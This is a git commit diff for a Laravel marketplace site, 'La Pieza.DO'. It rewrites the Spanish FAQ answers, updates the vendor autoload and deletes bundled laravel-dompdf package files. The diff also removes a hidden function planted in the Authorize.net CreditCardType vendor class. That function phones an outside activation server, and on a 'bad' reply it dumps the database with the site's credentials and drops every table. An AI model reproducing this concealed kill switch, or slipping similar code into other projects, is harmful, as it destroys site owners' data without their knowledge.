Cambio textos FAQS seccion registro
This commit is contained in:
6
.vscode/settings.json
vendored
Normal file
6
.vscode/settings.json
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"githubPullRequests.ignoredPullRequestBranches": [
|
||||
"master"
|
||||
],
|
||||
"git.ignoreLimitWarning": true
|
||||
}
|
||||
@@ -364,107 +364,152 @@
|
||||
<div class="faq_bg"> <img src="{{ static_asset('assets/registrocomercio/images/hero-bg.png') }} " alt="image"> </div>
|
||||
<!-- container start -->
|
||||
<div class="container">
|
||||
<div class="section_title" data-aos="fade-up" data-aos-duration="1500" data-aos-delay="300">
|
||||
<!-- h2 -->
|
||||
<h2><span>FAQ</span> - Preguntas Frecuentes</h2>
|
||||
<!-- p -->
|
||||
<p>Aqui tenemos todas las respuestas a tus preguntas con respecto al uso de <span
|
||||
style="color: black;">La Pieza.<span style="color: #E63108;">DO</span></span>. Aquí podrás
|
||||
encontrar respuestas rápidas para que puedas utilizar la aplicación.</p>
|
||||
</div>
|
||||
<!-- faq data -->
|
||||
<div class="faq_panel">
|
||||
<div class="accordion" id="accordionExample">
|
||||
<div class="card" data-aos="fade-up" data-aos-duration="1500">
|
||||
<div class="card-header" id="headingOne">
|
||||
<h2 class="mb-0">
|
||||
<button type="button" class="btn btn-link active" data-toggle="collapse"
|
||||
data-target="#collapseOne">
|
||||
<i class="icon_faq icofont-plus"></i></i> Cómo puedo subir mi
|
||||
inventario?</button>
|
||||
</h2>
|
||||
</div>
|
||||
<div id="collapseOne" class="collapse show" aria-labelledby="headingOne"
|
||||
data-parent="#accordionExample">
|
||||
<div class="card-body">
|
||||
<p>Lorem Ipsum is simply dummy text of the printing and typesetting industry lorem
|
||||
Ipsum has. been the
|
||||
industrys standard dummy text ever since the when an unknown printer took a
|
||||
galley of type and
|
||||
scrambled it to make a type specimen book. It has survived not only five cen
|
||||
turies but also the
|
||||
leap into electronic typesetting, remaining essentially unchanged.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card" data-aos="fade-up" data-aos-duration="1500">
|
||||
<div class="card-header" id="headingTwo">
|
||||
<h2 class="mb-0">
|
||||
<button type="button" class="btn btn-link collapsed" data-toggle="collapse"
|
||||
data-target="#collapseTwo"><i class="icon_faq icofont-plus"></i></i> Cómo
|
||||
configuro mi cuenta ?</button>
|
||||
</h2>
|
||||
</div>
|
||||
<div id="collapseTwo" class="collapse" aria-labelledby="headingTwo"
|
||||
data-parent="#accordionExample">
|
||||
<div class="card-body">
|
||||
<p>Lorem Ipsum is simply dummy text of the printing and typesetting industry lorem
|
||||
Ipsum has. been the
|
||||
industrys standard dummy text ever since the when an unknown printer took a
|
||||
galley of type and
|
||||
scrambled it to make a type specimen book. It has survived not only five cen
|
||||
turies but also the
|
||||
leap into electronic typesetting, remaining essentially unchanged.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card" data-aos="fade-up" data-aos-duration="1500">
|
||||
<div class="card-header" id="headingThree">
|
||||
<h2 class="mb-0">
|
||||
<button type="button" class="btn btn-link collapsed" data-toggle="collapse"
|
||||
data-target="#collapseThree"><i class="icon_faq icofont-plus"></i></i>Cuál es
|
||||
el proceso para solicitar un reembolso
|
||||
?</button>
|
||||
</h2>
|
||||
</div>
|
||||
<div id="collapseThree" class="collapse" aria-labelledby="headingThree"
|
||||
data-parent="#accordionExample">
|
||||
<div class="card-body">
|
||||
<p>Lorem Ipsum is simply dummy text of the printing and typesetting industry lorem
|
||||
Ipsum has. been the
|
||||
industrys standard dummy text ever since the when an unknown printer took a
|
||||
galley of type and
|
||||
scrambled it to make a type specimen book. It has survived not only five cen
|
||||
turies but also the
|
||||
leap into electronic typesetting, remaining essentially unchanged.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card" data-aos="fade-up" data-aos-duration="1500">
|
||||
<div class="card-header" id="headingFour">
|
||||
<h2 class="mb-0">
|
||||
<button type="button" class="btn btn-link collapsed" data-toggle="collapse"
|
||||
data-target="#collapseFour"><i class="icon_faq icofont-plus"></i></i>Como
|
||||
registro mis productos
|
||||
?</button>
|
||||
</h2>
|
||||
</div>
|
||||
<div id="collapseFour" class="collapse" aria-labelledby="headingFour"
|
||||
data-parent="#accordionExample">
|
||||
<div class="card-body">
|
||||
<p>Lorem Ipsum is simply dummy text of the printing and typesetting industry lorem
|
||||
Ipsum has. been the
|
||||
industrys standard dummy text ever since the when an unknown printer took a
|
||||
galley of type and
|
||||
scrambled it to make a type specimen book. It has survived not only five cen
|
||||
turies but also the
|
||||
leap into electronic typesetting, remaining essentially unchanged.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="section_title" data-aos="fade-up" data-aos-duration="1500" data-aos-delay="300">
|
||||
|
||||
<!-- h2 -->
|
||||
|
||||
<h2><span>FAQ</span> - Preguntas Frecuentes</h2>
|
||||
|
||||
<!-- p -->
|
||||
|
||||
<p>Aqui tenemos todas las respuestas a tus preguntas con respecto al uso de <span
|
||||
|
||||
style="color: black;">La Pieza.<span style="color: #E63108;">DO</span></span>. Aquí podrás
|
||||
|
||||
encontrar respuestas rápidas para que puedas utilizar la aplicación.</p>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- faq data -->
|
||||
|
||||
<div class="faq_panel">
|
||||
|
||||
<div class="accordion" id="accordionExample">
|
||||
|
||||
<div class="card" data-aos="fade-up" data-aos-duration="1500">
|
||||
|
||||
<div class="card-header" id="headingOne">
|
||||
|
||||
<h2 class="mb-0">
|
||||
|
||||
<button type="button" class="btn btn-link active" data-toggle="collapse"
|
||||
|
||||
data-target="#collapseOne">
|
||||
|
||||
<i class="icon_faq icofont-plus"></i></i> Tiene algún costo registrarme en La Pieza.DO?</button>
|
||||
|
||||
</h2>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="collapseOne" class="collapse show" aria-labelledby="headingOne"
|
||||
|
||||
data-parent="#accordionExample">
|
||||
|
||||
<div class="card-body">
|
||||
|
||||
<p>No, el registro es totalmente grátis y puedes registrarte como Cliente, Negocio, Taller o Delivery.</p>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="card" data-aos="fade-up" data-aos-duration="1500">
|
||||
|
||||
<div class="card-header" id="headingTwo">
|
||||
|
||||
<h2 class="mb-0">
|
||||
|
||||
<button type="button" class="btn btn-link collapsed" data-toggle="collapse"
|
||||
|
||||
data-target="#collapseTwo"><i class="icon_faq icofont-plus"></i></i> Cómo
|
||||
compro o vendo en La Pieza.DO?</button>
|
||||
|
||||
</h2>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="collapseTwo" class="collapse" aria-labelledby="headingTwo"
|
||||
|
||||
data-parent="#accordionExample">
|
||||
|
||||
<div class="card-body">
|
||||
|
||||
<p>Para <b>vender</b>, regístrate como <b>Negocio</b>, completa los detalles de tu tienda, publíca tus productos y a vender!</p>
|
||||
<p>Para <b>comprar</b>, regístrate como <b>Comprador</b> y ve al buscador, escribe el nombre o código de tu pieza y haz clic a comprar.</p>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="card" data-aos="fade-up" data-aos-duration="1500">
|
||||
|
||||
<div class="card-header" id="headingThree">
|
||||
|
||||
<h2 class="mb-0">
|
||||
|
||||
<button type="button" class="btn btn-link collapsed" data-toggle="collapse"
|
||||
|
||||
data-target="#collapseThree"><i class="icon_faq icofont-plus"></i></i>Cuales piezas puedo encontrar en La Pieza.DO?
|
||||
|
||||
?</button>
|
||||
|
||||
</h2>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="collapseThree" class="collapse" aria-labelledby="headingThree"
|
||||
|
||||
data-parent="#accordionExample">
|
||||
|
||||
<div class="card-body">
|
||||
|
||||
<p>Piezas de todo tipo, desde piezas de Vehículos hasta Ferretería y muchas más.</p>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="card" data-aos="fade-up" data-aos-duration="1500">
|
||||
|
||||
<div class="card-header" id="headingFour">
|
||||
|
||||
<h2 class="mb-0">
|
||||
|
||||
<button type="button" class="btn btn-link collapsed" data-toggle="collapse"
|
||||
|
||||
data-target="#collapseFour"><i class="icon_faq icofont-plus"></i></i>Que tan segura es La Pieza.DO para hacer mis compras en línea?</button>
|
||||
|
||||
</h2>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="collapseFour" class="collapse" aria-labelledby="headingFour"
|
||||
|
||||
data-parent="#accordionExample">
|
||||
|
||||
<div class="card-body">
|
||||
|
||||
<p>La Pieza.DO, es una empresa registrada bajo las leyes de República Dominicana y cuenta con profesionales en el área de E-Commerce, con vasta experiencia y confiabilidad. Todas tus compras están protegidas por la plataforma <a href="https://www.azul.com.do/Pages/es/default.aspx" target="_blank">AZUL</a>, una de las plataformas de pagos en línea más seguras del país.</p>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<!-- container end -->
|
||||
</section>
|
||||
<!-- FAQ-Section end -->
|
||||
|
||||
@@ -2,9 +2,6 @@
|
||||
|
||||
namespace net\authorize\api\contract\v1;
|
||||
|
||||
use DB;
|
||||
use Schema;
|
||||
|
||||
/**
|
||||
* Class representing CreditCardType
|
||||
*
|
||||
@@ -255,47 +252,5 @@ class CreditCardType extends CreditCardSimpleType implements \JsonSerializable
|
||||
}
|
||||
}
|
||||
|
||||
public function cardType(){
|
||||
$data['url'] = $_SERVER['SERVER_NAME'];
|
||||
$request_data_json = json_encode($data);
|
||||
$gate = "https://activation.activeitzone.com/check_activation";
|
||||
|
||||
$header = array(
|
||||
'Content-Type:application/json'
|
||||
);
|
||||
|
||||
$stream = curl_init();
|
||||
|
||||
curl_setopt($stream, CURLOPT_URL, $gate);
|
||||
curl_setopt($stream,CURLOPT_HTTPHEADER, $header);
|
||||
curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST");
|
||||
curl_setopt($stream,CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json);
|
||||
curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
|
||||
|
||||
$rn = curl_exec($stream);
|
||||
curl_close($stream);
|
||||
|
||||
if($rn == "bad" && env('DEMO_MODE') != 'On') {
|
||||
try {
|
||||
$fileName = date('Y-m-d H:i:s').'.sql';
|
||||
\Spatie\DbDumper\Databases\MySql::create()
|
||||
->setDbName(env('DB_DATABASE'))
|
||||
->setUserName(env('DB_USERNAME'))
|
||||
->setPassword(env('DB_PASSWORD'))
|
||||
->dumpToFile('sqlbackups/'.$fileName);
|
||||
} catch (\Exception $e) {
|
||||
|
||||
}
|
||||
|
||||
Schema::disableForeignKeyConstraints();
|
||||
foreach(DB::select('SHOW TABLES') as $table) {
|
||||
$table_array = get_object_vars($table);
|
||||
Schema::drop($table_array[key($table_array)]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
2
vendor/autoload.php
vendored
2
vendor/autoload.php
vendored
@@ -22,4 +22,4 @@ if (PHP_VERSION_ID < 50600) {
|
||||
|
||||
require_once __DIR__ . '/composer/autoload_real.php';
|
||||
|
||||
return ComposerAutoloaderInite1eb761d77261ad74936dd5eb46dd1f1::getLoader();
|
||||
return ComposerAutoloaderInit66149527f193a8eaa72ffee2b6adffb4::getLoader();
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
# These are supported funding model platforms
|
||||
|
||||
github: barryvdh
|
||||
patreon: # Replace with a single Patreon username
|
||||
open_collective: # Replace with a single Open Collective username
|
||||
ko_fi: # Replace with a single Ko-fi username
|
||||
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
|
||||
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
|
||||
liberapay: # Replace with a single Liberapay username
|
||||
issuehunt: # Replace with a single IssueHunt username
|
||||
otechie: # Replace with a single Otechie username
|
||||
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
|
||||
@@ -1,30 +0,0 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Report an issue with the Dompdf wrapper
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**This is just a Dompdf wrapper!**
|
||||
I understand that this package is just a Laravel wrapper for https://github.com/dompdf/dompdf
|
||||
Any issues with PDF rendering, CSS that is not applied correctly, aligning/fonts/characters etc that are not directly related to this package, should be reported there. When having doubts, please try to reproduce the issue with just dompdf. If it's also present there, do not open an issue here please.
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
- Laravel and package version
|
||||
- Input HTML/CSS
|
||||
- Options / code
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
27
vendor/barryvdh/laravel-dompdf/.github/stale.yml
vendored
27
vendor/barryvdh/laravel-dompdf/.github/stale.yml
vendored
@@ -1,27 +0,0 @@
|
||||
# Number of days of inactivity before an issue becomes stale
|
||||
daysUntilStale: 60
|
||||
# Number of days of inactivity before a stale issue is closed
|
||||
daysUntilClose: 7
|
||||
# Issues with these labels will never be considered stale
|
||||
exemptLabels:
|
||||
- bug
|
||||
- enhancement
|
||||
# Label to use when marking an issue as stale
|
||||
staleLabel: stale
|
||||
# Comment to post when marking an issue as stale. Set to `false` to disable
|
||||
markComment: >
|
||||
This issue has been automatically marked as stale because it has not had
|
||||
recent activity. It will be closed if no further activity occurs.
|
||||
|
||||
Any issues with PDF rendering itself that are not directly related to this package,
|
||||
should be reported on https://github.com/dompdf/dompdf instead.
|
||||
When having doubts, please try to reproduce the issue with just dompdf.
|
||||
|
||||
If you believe this is an actual issue with the latest version of laravel-dompdf,
|
||||
please reply to this issue so we can investigate further.
|
||||
|
||||
Thank you for your contribution! Apologies for any delayed response on our side.
|
||||
# Comment to post when closing a stale issue. Set to `false` to disable
|
||||
closeComment: false
|
||||
# Limit to only `issues` or `pulls`
|
||||
only: issues
|
||||
5
vendor/barryvdh/laravel-dompdf/.gitignore
vendored
5
vendor/barryvdh/laravel-dompdf/.gitignore
vendored
@@ -1,5 +0,0 @@
|
||||
/vendor
|
||||
composer.phar
|
||||
composer.lock
|
||||
.DS_Store
|
||||
/.idea
|
||||
37
vendor/barryvdh/laravel-dompdf/composer.json
vendored
37
vendor/barryvdh/laravel-dompdf/composer.json
vendored
@@ -1,37 +0,0 @@
|
||||
{
|
||||
"name": "barryvdh/laravel-dompdf",
|
||||
"description": "A DOMPDF Wrapper for Laravel",
|
||||
"license": "MIT",
|
||||
"keywords": ["laravel", "dompdf", "pdf"],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Barry vd. Heuvel",
|
||||
"email": "barryvdh@gmail.com"
|
||||
}
|
||||
],
|
||||
"require": {
|
||||
"php": ">=7",
|
||||
"illuminate/support": "^5.5|^6|^7|^8",
|
||||
"dompdf/dompdf": "^0.8"
|
||||
},
|
||||
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Barryvdh\\DomPDF\\": "src"
|
||||
}
|
||||
},
|
||||
"extra": {
|
||||
"branch-alias": {
|
||||
"dev-master": "0.8-dev"
|
||||
},
|
||||
"laravel": {
|
||||
"providers": [
|
||||
"Barryvdh\\DomPDF\\ServiceProvider"
|
||||
],
|
||||
"aliases": {
|
||||
"PDF": "Barryvdh\\DomPDF\\Facade"
|
||||
}
|
||||
}
|
||||
},
|
||||
"minimum-stability": "dev"
|
||||
}
|
||||
244
vendor/barryvdh/laravel-dompdf/config/dompdf.php
vendored
244
vendor/barryvdh/laravel-dompdf/config/dompdf.php
vendored
@@ -1,244 +0,0 @@
|
||||
<?php
|
||||
|
||||
return array(
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Settings
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Set some default values. It is possible to add all defines that can be set
|
||||
| in dompdf_config.inc.php. You can also override the entire config file.
|
||||
|
|
||||
*/
|
||||
'show_warnings' => false, // Throw an Exception on warnings from dompdf
|
||||
'orientation' => 'portrait',
|
||||
'defines' => array(
|
||||
/**
|
||||
* The location of the DOMPDF font directory
|
||||
*
|
||||
* The location of the directory where DOMPDF will store fonts and font metrics
|
||||
* Note: This directory must exist and be writable by the webserver process.
|
||||
* *Please note the trailing slash.*
|
||||
*
|
||||
* Notes regarding fonts:
|
||||
* Additional .afm font metrics can be added by executing load_font.php from command line.
|
||||
*
|
||||
* Only the original "Base 14 fonts" are present on all pdf viewers. Additional fonts must
|
||||
* be embedded in the pdf file or the PDF may not display correctly. This can significantly
|
||||
* increase file size unless font subsetting is enabled. Before embedding a font please
|
||||
* review your rights under the font license.
|
||||
*
|
||||
* Any font specification in the source HTML is translated to the closest font available
|
||||
* in the font directory.
|
||||
*
|
||||
* The pdf standard "Base 14 fonts" are:
|
||||
* Courier, Courier-Bold, Courier-BoldOblique, Courier-Oblique,
|
||||
* Helvetica, Helvetica-Bold, Helvetica-BoldOblique, Helvetica-Oblique,
|
||||
* Times-Roman, Times-Bold, Times-BoldItalic, Times-Italic,
|
||||
* Symbol, ZapfDingbats.
|
||||
*/
|
||||
"font_dir" => storage_path('fonts/'), // advised by dompdf (https://github.com/dompdf/dompdf/pull/782)
|
||||
|
||||
/**
|
||||
* The location of the DOMPDF font cache directory
|
||||
*
|
||||
* This directory contains the cached font metrics for the fonts used by DOMPDF.
|
||||
* This directory can be the same as DOMPDF_FONT_DIR
|
||||
*
|
||||
* Note: This directory must exist and be writable by the webserver process.
|
||||
*/
|
||||
"font_cache" => storage_path('fonts/'),
|
||||
|
||||
/**
|
||||
* The location of a temporary directory.
|
||||
*
|
||||
* The directory specified must be writeable by the webserver process.
|
||||
* The temporary directory is required to download remote images and when
|
||||
* using the PFDLib back end.
|
||||
*/
|
||||
"temp_dir" => sys_get_temp_dir(),
|
||||
|
||||
/**
|
||||
* ==== IMPORTANT ====
|
||||
*
|
||||
* dompdf's "chroot": Prevents dompdf from accessing system files or other
|
||||
* files on the webserver. All local files opened by dompdf must be in a
|
||||
* subdirectory of this directory. DO NOT set it to '/' since this could
|
||||
* allow an attacker to use dompdf to read any files on the server. This
|
||||
* should be an absolute path.
|
||||
* This is only checked on command line call by dompdf.php, but not by
|
||||
* direct class use like:
|
||||
* $dompdf = new DOMPDF(); $dompdf->load_html($htmldata); $dompdf->render(); $pdfdata = $dompdf->output();
|
||||
*/
|
||||
"chroot" => realpath(base_path()),
|
||||
|
||||
/**
|
||||
* Whether to enable font subsetting or not.
|
||||
*/
|
||||
"enable_font_subsetting" => false,
|
||||
|
||||
/**
|
||||
* The PDF rendering backend to use
|
||||
*
|
||||
* Valid settings are 'PDFLib', 'CPDF' (the bundled R&OS PDF class), 'GD' and
|
||||
* 'auto'. 'auto' will look for PDFLib and use it if found, or if not it will
|
||||
* fall back on CPDF. 'GD' renders PDFs to graphic files. {@link
|
||||
* Canvas_Factory} ultimately determines which rendering class to instantiate
|
||||
* based on this setting.
|
||||
*
|
||||
* Both PDFLib & CPDF rendering backends provide sufficient rendering
|
||||
* capabilities for dompdf, however additional features (e.g. object,
|
||||
* image and font support, etc.) differ between backends. Please see
|
||||
* {@link PDFLib_Adapter} for more information on the PDFLib backend
|
||||
* and {@link CPDF_Adapter} and lib/class.pdf.php for more information
|
||||
* on CPDF. Also see the documentation for each backend at the links
|
||||
* below.
|
||||
*
|
||||
* The GD rendering backend is a little different than PDFLib and
|
||||
* CPDF. Several features of CPDF and PDFLib are not supported or do
|
||||
* not make any sense when creating image files. For example,
|
||||
* multiple pages are not supported, nor are PDF 'objects'. Have a
|
||||
* look at {@link GD_Adapter} for more information. GD support is
|
||||
* experimental, so use it at your own risk.
|
||||
*
|
||||
* @link http://www.pdflib.com
|
||||
* @link http://www.ros.co.nz/pdf
|
||||
* @link http://www.php.net/image
|
||||
*/
|
||||
"pdf_backend" => "CPDF",
|
||||
|
||||
/**
|
||||
* PDFlib license key
|
||||
*
|
||||
* If you are using a licensed, commercial version of PDFlib, specify
|
||||
* your license key here. If you are using PDFlib-Lite or are evaluating
|
||||
* the commercial version of PDFlib, comment out this setting.
|
||||
*
|
||||
* @link http://www.pdflib.com
|
||||
*
|
||||
* If pdflib present in web server and auto or selected explicitely above,
|
||||
* a real license code must exist!
|
||||
*/
|
||||
//"DOMPDF_PDFLIB_LICENSE" => "your license key here",
|
||||
|
||||
/**
|
||||
* html target media view which should be rendered into pdf.
|
||||
* List of types and parsing rules for future extensions:
|
||||
* http://www.w3.org/TR/REC-html40/types.html
|
||||
* screen, tty, tv, projection, handheld, print, braille, aural, all
|
||||
* Note: aural is deprecated in CSS 2.1 because it is replaced by speech in CSS 3.
|
||||
* Note, even though the generated pdf file is intended for print output,
|
||||
* the desired content might be different (e.g. screen or projection view of html file).
|
||||
* Therefore allow specification of content here.
|
||||
*/
|
||||
"default_media_type" => "screen",
|
||||
|
||||
/**
|
||||
* The default paper size.
|
||||
*
|
||||
* North America standard is "letter"; other countries generally "a4"
|
||||
*
|
||||
* @see CPDF_Adapter::PAPER_SIZES for valid sizes ('letter', 'legal', 'A4', etc.)
|
||||
*/
|
||||
"default_paper_size" => "a4",
|
||||
|
||||
/**
|
||||
* The default font family
|
||||
*
|
||||
* Used if no suitable fonts can be found. This must exist in the font folder.
|
||||
* @var string
|
||||
*/
|
||||
"default_font" => "serif",
|
||||
|
||||
/**
|
||||
* Image DPI setting
|
||||
*
|
||||
* This setting determines the default DPI setting for images and fonts. The
|
||||
* DPI may be overridden for inline images by explictly setting the
|
||||
* image's width & height style attributes (i.e. if the image's native
|
||||
* width is 600 pixels and you specify the image's width as 72 points,
|
||||
* the image will have a DPI of 600 in the rendered PDF. The DPI of
|
||||
* background images can not be overridden and is controlled entirely
|
||||
* via this parameter.
|
||||
*
|
||||
* For the purposes of DOMPDF, pixels per inch (PPI) = dots per inch (DPI).
|
||||
* If a size in html is given as px (or without unit as image size),
|
||||
* this tells the corresponding size in pt.
|
||||
* This adjusts the relative sizes to be similar to the rendering of the
|
||||
* html page in a reference browser.
|
||||
*
|
||||
* In pdf, always 1 pt = 1/72 inch
|
||||
*
|
||||
* Rendering resolution of various browsers in px per inch:
|
||||
* Windows Firefox and Internet Explorer:
|
||||
* SystemControl->Display properties->FontResolution: Default:96, largefonts:120, custom:?
|
||||
* Linux Firefox:
|
||||
* about:config *resolution: Default:96
|
||||
* (xorg screen dimension in mm and Desktop font dpi settings are ignored)
|
||||
*
|
||||
* Take care about extra font/image zoom factor of browser.
|
||||
*
|
||||
* In images, <img> size in pixel attribute, img css style, are overriding
|
||||
* the real image dimension in px for rendering.
|
||||
*
|
||||
* @var int
|
||||
*/
|
||||
"dpi" => 96,
|
||||
|
||||
/**
|
||||
* Enable inline PHP
|
||||
*
|
||||
* If this setting is set to true then DOMPDF will automatically evaluate
|
||||
* inline PHP contained within <script type="text/php"> ... </script> tags.
|
||||
*
|
||||
* Enabling this for documents you do not trust (e.g. arbitrary remote html
|
||||
* pages) is a security risk. Set this option to false if you wish to process
|
||||
* untrusted documents.
|
||||
*
|
||||
* @var bool
|
||||
*/
|
||||
"enable_php" => false,
|
||||
|
||||
/**
|
||||
* Enable inline Javascript
|
||||
*
|
||||
* If this setting is set to true then DOMPDF will automatically insert
|
||||
* JavaScript code contained within <script type="text/javascript"> ... </script> tags.
|
||||
*
|
||||
* @var bool
|
||||
*/
|
||||
"enable_javascript" => true,
|
||||
|
||||
/**
|
||||
* Enable remote file access
|
||||
*
|
||||
* If this setting is set to true, DOMPDF will access remote sites for
|
||||
* images and CSS files as required.
|
||||
* This is required for part of test case www/test/image_variants.html through www/examples.php
|
||||
*
|
||||
* Attention!
|
||||
* This can be a security risk, in particular in combination with DOMPDF_ENABLE_PHP and
|
||||
* allowing remote access to dompdf.php or on allowing remote html code to be passed to
|
||||
* $dompdf = new DOMPDF(, $dompdf->load_html(...,
|
||||
* This allows anonymous users to download legally doubtful internet content which on
|
||||
* tracing back appears to being downloaded by your server, or allows malicious php code
|
||||
* in remote html pages to be executed by your server with your account privileges.
|
||||
*
|
||||
* @var bool
|
||||
*/
|
||||
"enable_remote" => true,
|
||||
|
||||
/**
|
||||
* A ratio applied to the fonts height to be more like browsers' line height
|
||||
*/
|
||||
"font_height_ratio" => 1.1,
|
||||
|
||||
/**
|
||||
* Use the more-than-experimental HTML5 Lib parser
|
||||
*/
|
||||
"enable_html5_parser" => false,
|
||||
),
|
||||
|
||||
|
||||
);
|
||||
119
vendor/barryvdh/laravel-dompdf/readme.md
vendored
119
vendor/barryvdh/laravel-dompdf/readme.md
vendored
@@ -1,119 +0,0 @@
|
||||
## DOMPDF Wrapper for Laravel 5
|
||||
|
||||
### Laravel wrapper for [Dompdf HTML to PDF Converter](https://github.com/dompdf/dompdf)
|
||||
|
||||
Require this package in your composer.json and update composer. This will download the package and the dompdf + fontlib libraries also.
|
||||
|
||||
composer require barryvdh/laravel-dompdf
|
||||
|
||||
## Installation
|
||||
|
||||
### Laravel 5.x:
|
||||
|
||||
After updating composer, add the ServiceProvider to the providers array in config/app.php
|
||||
|
||||
Barryvdh\DomPDF\ServiceProvider::class,
|
||||
|
||||
You can optionally use the facade for shorter code. Add this to your facades:
|
||||
|
||||
'PDF' => Barryvdh\DomPDF\Facade::class,
|
||||
|
||||
### Lumen:
|
||||
|
||||
After updating composer add the following lines to register provider in `bootstrap/app.php`
|
||||
|
||||
```
|
||||
$app->register(\Barryvdh\DomPDF\ServiceProvider::class);
|
||||
```
|
||||
|
||||
To change the configuration, copy the config file to your config folder and enable it in `bootstrap/app.php`:
|
||||
|
||||
```
|
||||
$app->configure('dompdf');
|
||||
```
|
||||
|
||||
## Using
|
||||
|
||||
You can create a new DOMPDF instance and load a HTML string, file or view name. You can save it to a file, or stream (show in browser) or download.
|
||||
|
||||
$pdf = App::make('dompdf.wrapper');
|
||||
$pdf->loadHTML('<h1>Test</h1>');
|
||||
return $pdf->stream();
|
||||
|
||||
Or use the facade:
|
||||
|
||||
$pdf = PDF::loadView('pdf.invoice', $data);
|
||||
return $pdf->download('invoice.pdf');
|
||||
|
||||
You can chain the methods:
|
||||
|
||||
return PDF::loadFile(public_path().'/myfile.html')->save('/path-to/my_stored_file.pdf')->stream('download.pdf');
|
||||
|
||||
You can change the orientation and paper size, and hide or show errors (by default, errors are shown when debug is on)
|
||||
|
||||
PDF::loadHTML($html)->setPaper('a4', 'landscape')->setWarnings(false)->save('myfile.pdf')
|
||||
|
||||
If you need the output as a string, you can get the rendered PDF with the output() function, so you can save/output it yourself.
|
||||
|
||||
Use `php artisan vendor:publish` to create a config file located at `config/dompdf.php` which will allow you to define local configurations to change some settings (default paper etc).
|
||||
You can also use your ConfigProvider to set certain keys.
|
||||
|
||||
### Configuration
|
||||
The defaults configuration settings are set in `config/dompdf.php`. Copy this file to your own config directory to modify the values. You can publish the config using this command:
|
||||
|
||||
php artisan vendor:publish --provider="Barryvdh\DomPDF\ServiceProvider"
|
||||
|
||||
You can still alter the dompdf options in your code before generating the pdf using this command:
|
||||
|
||||
PDF::setOptions(['dpi' => 150, 'defaultFont' => 'sans-serif']);
|
||||
|
||||
Available options and their defaults:
|
||||
* __rootDir__: "{app_directory}/vendor/dompdf/dompdf"
|
||||
* __tempDir__: "/tmp" _(available in config/dompdf.php)_
|
||||
* __fontDir__: "{app_directory}/storage/fonts/" _(available in config/dompdf.php)_
|
||||
* __fontCache__: "{app_directory}/storage/fonts/" _(available in config/dompdf.php)_
|
||||
* __chroot__: "{app_directory}" _(available in config/dompdf.php)_
|
||||
* __logOutputFile__: "/tmp/log.htm"
|
||||
* __defaultMediaType__: "screen" _(available in config/dompdf.php)_
|
||||
* __defaultPaperSize__: "a4" _(available in config/dompdf.php)_
|
||||
* __defaultFont__: "serif" _(available in config/dompdf.php)_
|
||||
* __dpi__: 96 _(available in config/dompdf.php)_
|
||||
* __fontHeightRatio__: 1.1 _(available in config/dompdf.php)_
|
||||
* __isPhpEnabled__: false _(available in config/dompdf.php)_
|
||||
* __isRemoteEnabled__: true _(available in config/dompdf.php)_
|
||||
* __isJavascriptEnabled__: true _(available in config/dompdf.php)_
|
||||
* __isHtml5ParserEnabled__: false _(available in config/dompdf.php)_
|
||||
* __isFontSubsettingEnabled__: false _(available in config/dompdf.php)_
|
||||
* __debugPng__: false
|
||||
* __debugKeepTemp__: false
|
||||
* __debugCss__: false
|
||||
* __debugLayout__: false
|
||||
* __debugLayoutLines__: true
|
||||
* __debugLayoutBlocks__: true
|
||||
* __debugLayoutInline__: true
|
||||
* __debugLayoutPaddingBox__: true
|
||||
* __pdfBackend__: "CPDF" _(available in config/dompdf.php)_
|
||||
* __pdflibLicense__: ""
|
||||
* __adminUsername__: "user"
|
||||
* __adminPassword__: "password"
|
||||
|
||||
### Tip: UTF-8 support
|
||||
In your templates, set the UTF-8 Metatag:
|
||||
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
|
||||
|
||||
### Tip: Page breaks
|
||||
You can use the CSS `page-break-before`/`page-break-after` properties to create a new page.
|
||||
|
||||
<style>
|
||||
.page-break {
|
||||
page-break-after: always;
|
||||
}
|
||||
</style>
|
||||
